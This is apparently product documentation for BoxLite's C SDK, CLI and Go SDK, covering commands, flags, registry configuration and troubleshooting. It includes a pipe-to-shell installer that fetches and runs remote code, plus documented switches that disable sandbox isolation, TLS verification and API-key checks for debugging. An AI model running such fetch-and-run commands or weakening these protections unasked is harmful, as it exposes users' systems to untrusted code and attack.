Native API when you need those. > **Implicit defaults**: passing `0` lets the runtime decide, which allocates **1 vCPU / 1024 MiB** (`vm_defaults` in `src/boxlite/src/runtime/constants.rs`). Pass explicit `cpus`/`memory_mib` in production. See [Compute resources](/manage-sandbox/compute-resources). *** ## Troubleshooting (common problems and typical errors) ### The callback never fires after an async call / the program hangs **Symptom**: `boxlite_create_box` / `boxlite_execution_wait` returns `Ok`, but the `done` flag never becomes 1 and the program hangs. **Cause**: `boxlite_runtime_drain` was never called. The Native API is post-and-drain — callbacks are dispatched only when you drain. **Fix**: after each async operation, loop on drain until the completion flag is set: ```c theme={"theme":{"light":"github-light","dark":"github-dark"}} CBoxliteError drain_err = {0}; while (!st.done) { if (boxlite_runtime_drain(runtime, -1, &drain_err) < 0) { fprintf(stderr, "drain failed: %s\n", drain_err.message ? drain_err.message : "unknown"); boxlite_error_free(&drain_err); break; } } ``` ### `boxlite_execute` not found / old examples fail to compile with "implicit declaration" **Symptom**: reusing older third-party snippets, the compiler reports `implicit declaration of function 'boxlite_execute'` or argument mismatches on `boxlite_execution_wait`. **Cause**: `boxlite_execute` is not part of the current header. The real exec entry point is `boxlite_box_exec(handle, &cmd, &out_execution, &error)` (synchronously obtain the handle); the exit code is returned via the **`int` parameter of the callback** in `boxlite_execution_wait(exec, CExecutionWaitCb, ud, err)` (not an `int*` out-parameter). **Fix**: follow `sdks/c/include/boxlite.h` and the pattern in [Native API — full callback + post-and-drain skeleton](#native-api-full-callback-post-and-drain-skeleton) of this page. ### The third volume argument was passed as the string `"ro"` / `"rw"` **Symptom**: `boxlite_options_add_bind_mount(opts, host, guest, "ro")` fails to compile with a type error (a `const char *` where an `int` is expected). **Cause**: the SDK's third argument is `int read_only`, not the CLI's `ro`/`rw` string. **Fix**: use `1` (read-only) / `0` (read-write): `boxlite_options_add_bind_mount(opts, host, guest, 1);`. > Compared with other SDKs: the Python/Node volume third element is likewise a **bool `read_only`** (e.g. Python `(host, guest, True)`), and passing a string raises `TypeError: 'str' object cannot be cast as 'bool'`. Only the CLI `-v host:box:ro` uses the string syntax. ### The command exits non-zero but you receive no error **Symptom**: `boxlite_simple_run` / `boxlite_execution_wait` returns `Ok`, but the command actually failed. **Cause**: a non-zero process exit **is not an API error**. `Ok` means "the command was executed successfully"; the command's own success or failure is the exit code. **Fix**: always check `result->exit_code` (Simple) or the `int exit_code` from the `CExecutionWaitCb` callback (Native). ### `dyld: Library not loaded: @rpath/libboxlite.dylib` (macOS) **Cause**: the loader cannot find the dylib at runtime. **Fix**: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Add an rpath to the executable (replace with the absolute path to your library directory) install_name_tool -add_rpath /target/release ./my_program # Or use an environment variable temporarily export DYLD_LIBRARY_PATH=/target/release:$DYLD_LIBRARY_PATH ``` On Linux the equivalent is `export LD_LIBRARY_PATH=/target/release:$LD_LIBRARY_PATH`. ### Box creation returns `Image` (code 8) / image pull failed **Cause**: a wrong image name or a network failure during pull. **Fix**: 1. Confirm the image reference is correct (e.g. `"alpine:3.19"`, `"python:slim"`). 2. Check network connectivity (the first run pulls the image over the network). 3. Check disk space: `df -h ~/.boxlite`. 4. Enable debug logging: `RUST_LOG=debug ./my_program`. ### Box start returns `UnsupportedEngine` (code 19) / `Engine` (code 12) — no virtualization (environment constraint) **This is an environment constraint**: BoxLite requires hardware virtualization. * **Linux**: requires KVM. ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} lsmod | grep kvm # check the module sudo modprobe kvm kvm_intel # or kvm_amd sudo usermod -aG kvm $USER && newgrp kvm # join the kvm group ``` * **macOS (Apple Silicon ARM64)**: uses the built-in Hypervisor.framework, **no /dev/kvm required**, works out of the box. * **macOS Intel**: not supported. * **Windows**: use WSL2 (follow the Linux flow inside it; KVM required). Without virtualization, start fails (the error is catchable; the process does not crash). For debugging, you can disable the sandbox via advanced options (`boxlite_advanced_options_set_security_enabled(adv, 0)`), but that sacrifices isolation. ### Memory leaks The C SDK requires manual freeing. Missing any of these leaks memory: | Source | Free function | | - | - | | String returned by `boxlite_box_id()` | `boxlite_free_string` | | Any `CBoxliteError` (`.message` on failure) | `boxlite_error_free` | | `CBoxliteExecResult *` | `boxlite_result_free` | | `CBoxInfo *` / `CBoxInfoList *` | `boxlite_free_box_info` / `boxlite_free_box_info_list` | | `CImagePullResult *` / `CImageInfoList *` | `boxlite_free_image_pull_result` / `boxlite_free_image_info_list` | | `CBoxliteImageHandle *` | `boxlite_image_free` | | `CBoxHandle *` (ownership transferred by the create/get callback) | `boxlite_box_free` | | `CExecutionHandle *` | `boxlite_execution_free` | | `CBoxliteRuntime *` | `boxlite_runtime_free` (NULL-safe) | | `CBoxliteSimple *` | `boxlite_simple_free` | | `CAdvancedBoxOptions *` | `boxlite_advanced_options_free` | | `CBoxliteOptions *` | `boxlite_options_free` | All `*_free` functions are NULL-safe. Diagnose with valgrind (Linux) / `leaks` (macOS): ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} valgrind --leak-check=full ./my_program # Linux leaks -atExit -- ./my_program # macOS ``` ### Thread safety * `CBoxliteRuntime` is thread-safe (runtime functions may be called concurrently from multiple threads). * `CBoxHandle` / `CExecutionHandle` / `CBoxliteSimple` are **not** thread-safe — do not share the same handle across threads. * Callbacks run on **the thread that calls `boxlite_runtime_drain`**; do not block inside a callback. *** ### The linker/runtime cannot find the library Error `dyld: Library not loaded: @rpath/libboxlite.dylib` (macOS) or `error while loading shared libraries: libboxlite.so` (Linux). The dynamic linker was not told the library path. Set it: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # macOS export DYLD_LIBRARY_PATH=/boxlite/target/release:$DYLD_LIBRARY_PATH # Linux export LD_LIBRARY_PATH=/boxlite/target/release:$LD_LIBRARY_PATH ``` Or use CMake (`examples/c/CMakeLists.txt` already sets `BUILD_RPATH`, so no manual export is needed). ## Related pages * [Installation](/getting-started/installation) — platform and virtualization prerequisites * [Python SDK Reference](/reference/python) — the high-level wrapper API * [Lifecycle management](/manage-sandbox/lifecycle) — concepts for box create/start/stop/remove * [Secrets and security](/manage-sandbox/secrets-and-security) — secrets and the security sandbox * [Volume mounts](/manage-sandbox/volumes) — volume read\_only semantics # CLI reference Source: https://docs.boxlite.ai/reference/cli the boxlite command line offers a docker-like experience for creating, running, and managing isolated lightweight microVM sandboxes from the terminal — pull images, run commands, mount volumes, forward ports, and connect to a remote BoxLite service without writing any SDK code. The global options, subcommands, and flags below follow the clap definitions in `src/cli/src/` for the latest published version. *** ## Prerequisites * The `boxlite` CLI and a machine with hardware virtualization — see [Installation](/getting-started/installation#platform-and-virtualization-requirements-common-to-all-sdks). * The `boxlite` CLI is installed (see "Install and verify" below). ### Install and verify ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Option 1: one-line script (installs to $HOME/.local/bin/boxlite, with an embedded runtime) # Note: environment variables must be placed on the sh side of the pipe; placing them before curl does not pass them to the installer curl -fsSL https://sh.boxlite.ai | sh # Option 2: compile and install from crates.io cargo install boxlite-cli # Option 3: install a prebuilt binary via cargo-binstall cargo binstall boxlite-cli # Verify the installation boxlite --version boxlite --help ``` *** ## Quick Example (minimal happy path) The following commands form a complete "pull an image -> run once -> list sandboxes" loop and can be copied and run directly: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # 1) Run a command in an alpine sandbox; auto-clean after the command finishes (--rm) boxlite run --rm alpine:latest echo "hello from boxlite" # 2) Create a named, persistent sandbox in the background for later exec boxlite run -d --name mybox alpine:latest sleep 3600 # 3) Run a command in the persistent sandbox boxlite exec mybox -- echo "running inside mybox" # 4) List running sandboxes boxlite list # 5) Remove when done (-f forcibly removes a running sandbox) boxlite rm -f mybox ``` > `boxlite run` **blocks the foreground** by default until the command exits; add `-d/--detach` to run it in the background and print the box ID immediately. > For `boxlite exec`, separate the command with `--` so the command's own flags are not parsed by the CLI. *** ## Command synopsis ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} boxlite [GLOBAL OPTIONS] [ARGS...] ``` Global options may appear **before or after** the subcommand and apply to all commands. | Command | Aliases | Purpose | | - | - | - | | `run` | — | Create a sandbox and run a command immediately | | `exec` | — | Run a command in an **already running** sandbox | | `create` | — | Create a sandbox only (no command), print the box ID | | `list` | `ls`, `ps` | List sandboxes | | `rm` | — | Remove one or more sandboxes | | `start` | — | Start one or more stopped sandboxes | | `stop` | — | Stop one or more running sandboxes | | `restart` | — | Restart one or more sandboxes | | `pull` | — | Pull an image from a registry | | `images` | — | List local images | | `inspect` | — | Inspect one or more sandboxes in detail | | `cp` | — | Copy files/directories between host and sandbox | | `info` | — | Show runtime-level system information | | `logs` | — | View a sandbox's logs | | `stats` | — | View a sandbox's resource usage | | `network` | — | Inspect and manage a sandbox's network settings | | `volume` | — | Create, list, and remove managed volumes | | `serve` | — | Start the long-running REST API service | | `auth` | — | Authenticate with a remote BoxLite service (login/logout/status/whoami) | | `completion` | — | Generate shell completion scripts (hidden in help) | > Source: the `Commands` enum in `src/cli/src/cli.rs`. The `Commands` enum is marked `#[non_exhaustive]`, so new commands may be added in the future. *** ## Global options Source: the `GlobalFlags` group in `src/cli/src/cli.rs`. | Flag | Environment variable | Type | Description | | - | - | - | - | | `--debug` | — | bool | Enable debug output | | `--home ` | `BOXLITE_HOME` | path | BoxLite home directory (where data/volumes/credentials live) | | `--registry ` | — | repeatable | Specify an image registry (may appear multiple times); takes priority over the config file | | `--config ` | — | path | Path to a JSON config file (with `image_registries` and other runtime options) | | `--url ` | `BOXLITE_REST_URL` | URL | Connect to a remote BoxLite REST service instead of the local runtime | | `--profile ` | `BOXLITE_PROFILE` | string | Named credential profile in `~/.boxlite/credentials.toml`, default `default` | | `--path-prefix

` | `BOXLITE_REST_PATH_PREFIX` | string | Route slot in the REST URL path (`/v1//boxes/...`), for multi-tenant setups | ### Local vs. remote selection logic `boxlite` connects to a remote service when REST configuration is present, otherwise it uses the local runtime (`GlobalFlags::create_runtime()`, cli.rs:229-245): * **URL**: `--url` / `BOXLITE_REST_URL` > the stored profile's URL. If either is present, it uses the remote `BoxliteRuntime::rest`. * **Bearer credential**: `BOXLITE_API_KEY` > the profile's bearer. `BOXLITE_API_KEY` **overrides only the bearer**, not the profile's url/path\_prefix. * **Route slot**: `--path-prefix` / `BOXLITE_REST_PATH_PREFIX` > the profile's path\_prefix. * If none of these yields a URL -> local runtime. ### Related environment variables | Environment variable | Maps to | Description | | - | - | - | | `BOXLITE_HOME` | `--home` | Home directory | | `BOXLITE_REST_URL` | `--url` | Remote service URL | | `BOXLITE_PROFILE` | `--profile` | Credential profile name | | `BOXLITE_REST_PATH_PREFIX` | `--path-prefix` | Route slot | | `BOXLITE_API_KEY` | — | Remote auth bearer (overrides only the bearer) | | `BOXLITE_SECURITY` | `--security` | Sandbox security switch (`enable`/`disable`) | | `BOXLITE_SERVE_API_KEY` | `serve --api-key` | API key validated by `serve` | *** ## Subcommands (parameters and returns) ### `boxlite run` Create a new sandbox and run a command immediately. Blocks the foreground until the command exits; the CLI exit code is the command's exit code (`src/cli/src/commands/run.rs`). ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} boxlite run [OPTIONS] [COMMAND...] ``` | Positional | Required | Description | | - | - | - | | `` | Yes | Image reference, e.g. `alpine:latest` | | `[COMMAND...]` | No | Command to run inside the image; defaults to `sh` when omitted (run.rs:150-156) | `run` reuses the following shared flag groups: process (`-i/-t/-e/-w/-u/--entrypoint`), resources (`--cpus/--memory/--disk-size`), ports (`-p`), volumes (`-v`), network (`--network/--allow-net`), and management (`--name/-d/--rm/--security`). See "Shared flag groups" below. ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Interactive shell (allocate a TTY) boxlite run -it --rm alpine:latest sh # Limit resources + mount a volume (read-only) + forward a port + set an environment variable boxlite run --rm \ --cpus 2 --memory 1024 \ -v "$(pwd)/data:/data:ro" \ -p 8080:80 \ -e MY_VAR=hello \ nginx:latest ``` > With `-d/--detach`, `run` returns immediately after printing the box ID and forces `auto_remove=false` (run.rs:119-121), so you must `boxlite rm` it manually. *** ### `boxlite exec` Run a command in an **already running** sandbox (`src/cli/src/commands/exec.rs`). ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} boxlite exec [OPTIONS] -- ``` | Positional | Required | Description | | - | - | - | | `` | Yes | The target sandbox's ID or name | | `` | Yes | The command to run (separate from flags with `--`) | | Flag | Description | | - | - | | `-d`, `--detach` | Run in the background without waiting for exit | | Process flag group | `-i/--interactive`, `-t/--tty`, `-e/--env`, `-w/--workdir`, `-u/--user`, `--entrypoint` | ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Run a command in the sandbox named mybox boxlite exec mybox -- ls -la / # Enter the sandbox interactively (requires a TTY terminal) boxlite exec -it mybox -- sh ``` > If the target sandbox is not found, it reports `No such box: ` (exec.rs:88). *** ### `boxlite create` Create a sandbox only — do not run a foreground command — and print the box ID on success (`src/cli/src/commands/create.rs`). Operate on it afterwards with `boxlite start` / `boxlite exec`. ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} boxlite create [OPTIONS] ``` | Positional | Required | Description | | - | - | - | | `` | Yes | Image reference | Supports `--name`, `-e/--env`, `-w/--workdir`, `--entrypoint`, plus the resources/ports/volumes/network/management shared flag groups. ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} BOX_ID=$(boxlite create --name worker alpine:latest) echo "created: $BOX_ID" boxlite start worker boxlite exec worker -- uname -a ``` *** ### `boxlite list` (aliases `ls` / `ps`) List sandboxes (`src/cli/src/commands/list.rs`). Defaults to table output. | Flag | Default | Description | | - | - | - | | `-a`, `--all` | off | Show all (by default only running ones) | | `-q`, `--quiet` | off | Print IDs only | | `--format ` | `table` | Output format: `table` / `json` / `yaml` | ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} boxlite list # running sandboxes (table) boxlite ls -a --format json # all sandboxes, JSON output boxlite ps -q # print IDs only ``` *** ### `boxlite rm` Remove one or more sandboxes (`src/cli/src/commands/rm.rs`). | Flag/arg | Default | Description | | - | - | - | | `-f`, `--force` | off | Force-remove a running sandbox | | `-a`, `--all` | off | Remove all sandboxes (prompts `[y/N]` without `--force`) | | `` | — | One or more box IDs/names (omittable with `--all`) | ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} boxlite rm mybox # remove one boxlite rm -f box1 box2 # forcibly remove multiple boxlite rm --all -f # remove all and skip confirmation ``` *** ### `boxlite start` / `stop` / `restart` Lifecycle operations on one or more sandboxes (`start.rs` / `stop.rs` / `restart.rs`). All three take only a target list, with no extra flags. ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} boxlite start boxlite stop boxlite restart ``` | Arg | Required | Description | | - | - | - | | `` | Yes | One or more box IDs/names (at least one) | ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} boxlite stop mybox boxlite start mybox boxlite restart box1 box2 ``` *** ### `boxlite pull` Pull an image from a registry (`src/cli/src/commands/pull.rs`). | Flag/arg | Description | | - | - | | `` | Required, image reference | | `-q`, `--quiet` | Quiet mode, print the digest only | ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} boxlite pull alpine:latest boxlite pull -q python:slim ``` On success it prints `Pulled: ` / `Digest:` / `Layers:` (pull.rs:24-26). *** ### `boxlite images` List local images (`src/cli/src/commands/images.rs`). Defaults to table. | Flag | Default | Description | | - | - | - | | `-a`, `--all` | off | Show all (intermediate layer images hidden by default) | | `-q`, `--quiet` | off | Print image IDs only | | `--format ` | `table` | `table` / `json` / `yaml` | ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} boxlite images boxlite images --format json ``` *** ### `boxlite inspect` Inspect one or more sandboxes in detail (`src/cli/src/commands/inspect.rs`). Defaults to **JSON**. | Flag/arg | Default | Description | | - | - | - | | `[BOX...]` | — | One or more box IDs/names | | `-l`, `--latest` | off | Inspect the most recently created one (cannot be combined with `BOX`) | | `-f`, `--format ` | `json` | `json` / `yaml` / or a Go template (e.g. `{{.State.Status}}`) | ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} boxlite inspect mybox boxlite inspect --latest --format yaml boxlite inspect mybox -f '{{.State.Status}}' ``` *** ### `boxlite cp` Copy files/directories between host and sandbox (`src/cli/src/commands/cp.rs`). Use `BOX:PATH` for the sandbox-side path in the source or destination. | Flag/arg | Default | Description | | - | - | - | | `` | — | Source path (a host path or `BOX:PATH`) | | `` | — | Destination path (a host path or `BOX:PATH`) | | `--follow-symlinks` | `false` | Copy the target a symlink points to | | `--no-overwrite` | `false` | Do not overwrite existing files | | `--include-parent` | `true` | When copying from the sandbox, include the parent directory (docker cp semantics) | ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # host -> sandbox boxlite cp ./app.tar mybox:/tmp/app.tar # sandbox -> host boxlite cp mybox:/var/log/app.log ./app.log ``` *** ### `boxlite info` Show runtime-level system information (`src/cli/src/commands/info.rs`). Defaults to **YAML**. | Flag | Default | Description | | - | - | - | | `--format ` | `yaml` | `yaml` / `json` | ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} boxlite info boxlite info --format json ``` *** ### `boxlite logs` View a sandbox's logs (`src/cli/src/commands/logs.rs`). | Flag/arg | Default | Description | | - | - | - | | `` | — | Required, box ID/name | | `-n`, `--tail ` | `0` | Show only the last N lines (0 = all) | | `-f`, `--follow` | off | Follow output continuously | ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} boxlite logs mybox boxlite logs -n 100 -f mybox ``` *** ### `boxlite stats` View a sandbox's resource usage (`src/cli/src/commands/stats.rs`). Defaults to table. | Flag/arg | Default | Description | | - | - | - | | `` | — | Required, box ID/name | | `--format ` | `table` | `table` / `json` / `yaml` | | `-s`, `--stream` | off | Refresh stats in a live stream | ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} boxlite stats mybox boxlite stats --format json mybox boxlite stats -s mybox ``` *** ### `boxlite serve` Start the long-running REST API service (a local Axum reference server, `src/cli/src/commands/serve/mod.rs`). Once running, connect with the SDK's REST client or with `--url`. | Flag | Default | Environment variable | Description | | - | - | - | - | | `--port ` | `8100` | — | Listen port (`LOCAL_SERVE_PORT`, defaults.rs:7) | | `--host ` | `0.0.0.0` | — | Bind address (`LOCAL_SERVE_HOST`, defaults.rs:10) | | `--api-key ` | none (permissive) | `BOXLITE_SERVE_API_KEY` | When set, every route except `GET /v1/config` requires `Authorization: Bearer `, otherwise 401 | ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Start a local service with zero config (permissive mode, accepts any/no bearer) boxlite serve # Specify a port and require an API key boxlite serve --port 9000 --api-key "" # replace with your key ``` By default the REST API serves at `http://localhost:8100/v1/...`. *** ### `boxlite auth` Authenticate with a remote BoxLite service (`src/cli/src/commands/auth/mod.rs`). | Subcommand | Description | | - | - | | `auth login` | Log in to the REST service and save credentials | | `auth logout` | Delete stored credentials | | `auth status` | Show the current auth status (offline, no network access) | | `auth whoami` | Confirm the current credential's identity via `GET /v1/me` | Flags for `auth login` (`auth/login.rs`): | Flag | Default | Description | | - | - | - | | `--url ` | `http://localhost:8100` | Service URL (matches the `boxlite serve` default) | | `--api-key-stdin` | — | Read one line of API key from stdin (kept out of argv); forces `--method api-key` | | `--method ` | auto | Login method: `api-key` / `browser` / `device` | | `--no-browser` | — | Skip the browser and use Device Code (RFC 8628), suitable for SSH/remote | | `--issuer ` | — | OIDC issuer URL (overrides the service's discovery config) | | `--client-id ` | — | OIDC client\_id | | `--audience ` | — | OIDC audience | | `--callback-port ` | `5555` | Browser-flow callback port (`http://127.0.0.1:/callback`) | ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Log in with an API key (key passed via stdin, kept out of shell history) printf '%s' "" | boxlite auth login --url https://api.boxlite.ai --api-key-stdin # Check status / identity boxlite auth status boxlite auth whoami # Log out boxlite auth logout ``` *** ### `boxlite completion` Generate shell completion scripts (the `Completion` variant in `src/cli/src/cli.rs`; hidden in `--help`). ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} boxlite completion ``` ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # zsh example boxlite completion zsh > "${fpath[1]}/_boxlite" # bash example boxlite completion bash > /etc/bash_completion.d/boxlite ``` *** ## Shared flag groups The following flag groups are reused across multiple commands (`src/cli/src/cli.rs`). ### Process (ProcessFlags, cli.rs:308) | Flag | Description | | - | - | | `-i`, `--interactive` | Keep STDIN open even when not attached | | `-t`, `--tty` | Allocate a pseudo-terminal (in TTY mode stdout/stderr are merged) | | `-e`, `--env ` | Set an environment variable; given only `K`, the value is taken from the host variable of the same name | | `-w`, `--workdir

` | Working directory inside the sandbox | | `-u`, `--user ` | Run the command as the given user | | `--entrypoint ` | Override the image entrypoint with a single executable | ### Resources (ResourceFlags, cli.rs:396) | Flag | Description | | - | - | | `--cpus ` | Number of vCPUs (values above 255 are clamped to 255 with a warning, cli.rs:420-423) | | `--memory ` | Memory cap (MiB) | | `--disk-size ` | Virtual rootfs disk size (GB); the copy-on-write overlay grows sparsely, and a value smaller than the base image is ignored | ### Port publishing (PublishFlags, cli.rs:476) | Flag | Description | | - | - | | `-p`, `--publish <[hostPort:]boxPort[/tcp\|udp]>` | Publish a sandbox port to the host (repeatable) | ### Volumes (VolumeFlags, cli.rs:567) | Flag | Description | | - | - | | `-v`, `--volume ` | Mount a volume (repeatable) | ### Network (NetworkFlags, cli.rs:438) | Flag | Description | | - | - | | `--network ` | Network mode: `enabled` (default, full or allowlisted egress) / `disabled` (no network interface) | | `--allow-net ` | Restrict egress to the listed hosts/IPs (repeatable, implies `enabled`); cannot be combined with `--network disabled` | ### Management (ManagementFlags, cli.rs:744) | Flag | Default | Environment variable | Description | | - | - | - | - | | `--name ` | — | — | Name the sandbox | | `-d`, `--detach` | off | — | Run in the background | | `--rm` | off | — | Auto-delete the sandbox on exit | | `--security ` | `enable` | `BOXLITE_SECURITY` | Sandbox security: `enable` (default, full isolation) / `disable` (turn the sandbox off for debugging) | *** ## Volume mount syntax (CLI-only) The CLI `-v` uses the **strings** `ro`/`rw` for read/write permission (parsing at cli.rs:591-593), defaulting to `rw`: ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} -v hostPath:boxPath[:ro|rw] # bind mount -v boxPath[:ro] # anonymous volume (host-side directory allocated automatically) ``` ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} boxlite run --rm -v "$(pwd):/work:ro" alpine:latest ls /work # read-only boxlite run --rm -v /data:/app/data alpine:latest sh # read-write (default) boxlite run --rm -v /cache:ro alpine:latest sh # anonymous read-only volume ``` > **Important distinction**: this is the **CLI parsing layer**'s `ro`/`rw` string syntax. In the SDKs (Python/Node), the volume's third element is a **`bool read_only`** (`True` = read-only / `False` = read-write), not a string. Do not conflate them (see [Python SDK Reference](/reference/python) and [Node.js SDK Reference](/reference/nodejs)). ## Port publishing syntax ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} -p [hostPort:]boxPort[/tcp|udp] ``` * `-p 80` -> the host port follows the guest (host\_port=None), guest port 80 * `-p 8080:80` -> host 8080 maps to guest 80 * The `/tcp` protocol suffix (default) forwards over TCP *** ## Default output formats | Command | Default format | Source | | - | - | - | | `list` / `images` / `stats` | `table` | list.rs:20, etc. | | `info` | `yaml` | info.rs:28 | | `inspect` | `json` | inspect.rs:22 | | `cp --include-parent` | `true` | cp.rs:18 | *** ## Registry configuration The CLI resolves an unqualified image reference (e.g. `alpine`) into a fully qualified one (e.g. `docker.io/library/alpine:latest`) by searching configured registries in order; the first successful pull wins. Fully qualified references (e.g. `quay.io/prometheus/prometheus:v2.40.1`) always bypass this search and are pulled directly. ### Configuration source priority Configuration sources are layered, from lowest to highest priority (source `docs/guides/image-registry-configuration.md`): 1. **Default**: `docker.io` (the implicit default when nothing is configured). 2. **Config file (`--config `)**: registries loaded from the JSON file. 3. **CLI flags (`--registry `)**: prepended to the config-file registries, so they take the highest priority. ### JSON config file schema A `--config` file holds an `image_registries` array. Each entry configures one registry: ```json theme={"theme":{"light":"github-light","dark":"github-dark"}} { "image_registries": [ { "host": "ghcr.io", "search": true }, { "host": "docker.io", "search": true }, { "host": "registry.local:5000", "transport": "http", "search": true }, { "host": "registry.example.com", "transport": "https", "skip_verify": true, "auth": { "type": "basic", "username": "user", "password": "" } } ] } ``` | Field | Type | Description | | - | - | - | | `host` | string | The registry host (with optional `:port`) | | `search` | bool | When `true`, this registry participates in unqualified-image fallback | | `transport` | `"http"` / `"https"` | `"http"` enables a plain HTTP registry (default is HTTPS) | | `skip_verify` | bool | When `true`, disables TLS certificate and hostname verification for HTTPS registries | | `auth` | object | Either `{ "type": "basic", "username": "...", "password": "..." }` or `{ "type": "bearer", "token": "..." }` | Use it with `boxlite --config ./registries.json run ...`. `--registry` flags, if also present, are prepended (higher priority). *** ## Troubleshooting (common problems and typical errors) ### No virtualization / missing KVM, start fails **Symptom**: on Linux `boxlite run ...` reports it cannot access `/dev/kvm`, or starting a microVM fails on an unsupported platform. **Cause**: an environment constraint. BoxLite requires hardware virtualization. **Fix**: * Linux: confirm `/dev/kvm` exists and the current user is in the `kvm` group (`ls -l /dev/kvm`, `groups`). * macOS: use Apple Silicon (Hypervisor.framework, no `/dev/kvm` needed); macOS Intel is not supported. * Windows: run inside WSL2 with KVM enabled. ### `--tty` reports "the input device is not a TTY." **Symptom**: `boxlite run -t ...` or `boxlite exec -t ...` errors in a non-interactive environment (e.g. CI, a pipe) (run.rs:142-143, cli.rs:359-360). **Cause**: `-t/--tty` requires stdin to be a real terminal. **Fix**: drop `-t` in scripts/CI; use `-it` only in an interactive terminal. ### `exec` reports `No such box: ` **Symptom**: `boxlite exec mybox -- ...` reports the sandbox is not found (exec.rs:88). **Cause**: the target sandbox does not exist or was stopped/removed. `exec` only operates on an **existing** sandbox. **Fix**: run `boxlite list -a` to confirm the box exists; if stopped, `boxlite start ` first. ### `-v` used an invalid ro/rw string **Symptom**: the CLI reports `invalid volume spec ...`. **Cause**: the third segment accepts only `ro` or `rw` (others are ignored or error), and an anonymous volume's box path must be absolute (cli.rs:616-621). **Fix**: use `-v host:box:ro` or `-v host:box` (default rw); for an anonymous volume write `-v /data`, not `-v data`. > Note: in **SDK code** (not the CLI), passing the volume's third element as the string `"ro"` raises `TypeError: 'str' object cannot be cast as 'bool'` — the SDK's third element must be a `bool`. ### `--allow-net` combined with `--network disabled` is rejected **Symptom**: the error message contains `allow_net` (cli.rs:1043-1052). **Cause**: `--allow-net` implies `enabled`, which contradicts `disabled`. **Fix**: do not add `--network disabled` when you need allowlisted egress; do not add `--allow-net` when you need the network fully off. ### `--security` given an unknown preset **Symptom**: the error message contains the invalid value you entered (e.g. `ultra`, cli.rs:1415-1428). **Cause**: `--security` accepts only `enable` / `disable` (case-insensitive). **Fix**: use `--security=disable` to turn the sandbox off (for debugging), or omit the option (default `enable`). ### `serve` set `--api-key` but the client gets 401 **Symptom**: connecting to a service started with `boxlite serve --api-key ...` returns 401. **Cause**: once `--api-key` is set, every route except `GET /v1/config` requires `Authorization: Bearer ` (serve/mod.rs:51-55). **Fix**: the client must carry the correct bearer (e.g. `--url` + `BOXLITE_API_KEY`, or the SDK's `ApiKeyCredential`); for local development you can leave `--api-key` unset (permissive mode). ### The one-line install script's environment variable had no effect **Symptom**: `BOXLITE_VERSION=... curl ... | sh` did not pin the version as expected. **Cause**: a variable placed before `curl` applies only to the curl process and is not passed to the installer. **Fix**: place the variable on the pipe's `sh` side: `curl -fsSL https://sh.boxlite.ai | BOXLITE_VERSION=v sh` (substitute the desired release tag, e.g. the latest published version). *** ## Exit codes `boxlite` follows POSIX shell exit-code conventions. The mapping lives in `to_shell_exit_code` (`src/cli/src/util/mod.rs`). | Code | Source | Meaning | | - | - | - | | `0` | success | The command (or box command) finished successfully | | `1` | runtime | Any anyhow error from a CLI command — the top-level handler in `src/cli/src/main.rs` prints `Error: ...` to stderr and exits `1` | | `2` | clap | Invalid CLI usage (unknown flag, missing required argument, bad value) | | `N` (1-127) | box command | `run`/`exec` propagate the box command's exit status (run.rs:104, exec.rs:81) | | `128 + N` | signal | `run`/`exec` exited because the box command was killed by signal *N* (e.g. `137` for `SIGKILL` = 128 + 9, `143` for `SIGTERM` = 128 + 15) | `boxlite rm`, `start`, `stop`, and `restart` aggregate per-target errors and exit `1` if any target failed, after attempting all targets. You can branch on the exit code directly in a script: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} if boxlite run --rm alpine:latest sh -c 'exit 3'; then echo "ok" else echo "command failed with exit code $?" # 3 fi ``` *** ## See also * [Python SDK Reference](/reference/python) * [Node.js SDK Reference](/reference/nodejs) * [Environment and startup](/manage-sandbox/environment) * [Network access](/manage-sandbox/network-access) * [Volumes](/manage-sandbox/volumes) * [Secrets and security](/manage-sandbox/secrets-and-security) # Go SDK reference Source: https://docs.boxlite.ai/reference/go github.com/boxlite-ai/boxlite/sdks/go is a CGO binding over the same Rust core every other SDK uses. It has no high-level wrapper like Python's SimpleBox — you drive *Runtime and *Box directly, with functional options in place of keyword arguments. Every signature below is verified against the built module (`go get github.com/boxlite-ai/boxlite/sdks/go@v0.9.7` + `go run .../cmd/setup`, then `go build`) and, where marked, against a real run's output. *** ## Prerequisites * Go 1.24+ with CGO enabled (the default) — see [Go quickstart](/getting-started/quickstart) for the full install flow (`go get` + `cmd/setup`). ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} go get github.com/boxlite-ai/boxlite/sdks/go go run github.com/boxlite-ai/boxlite/sdks/go/cmd/setup ``` *** ## Core types and methods ### `*Runtime` | Function / Method | Signature | Description | | - | - | - | | `NewRuntime` | `func(opts ...RuntimeOption) (*Runtime, error)` | Construct a runtime | | `WithHomeDir` | `func(dir string) RuntimeOption` | Runtime's home directory | | `WithImageRegistry` / 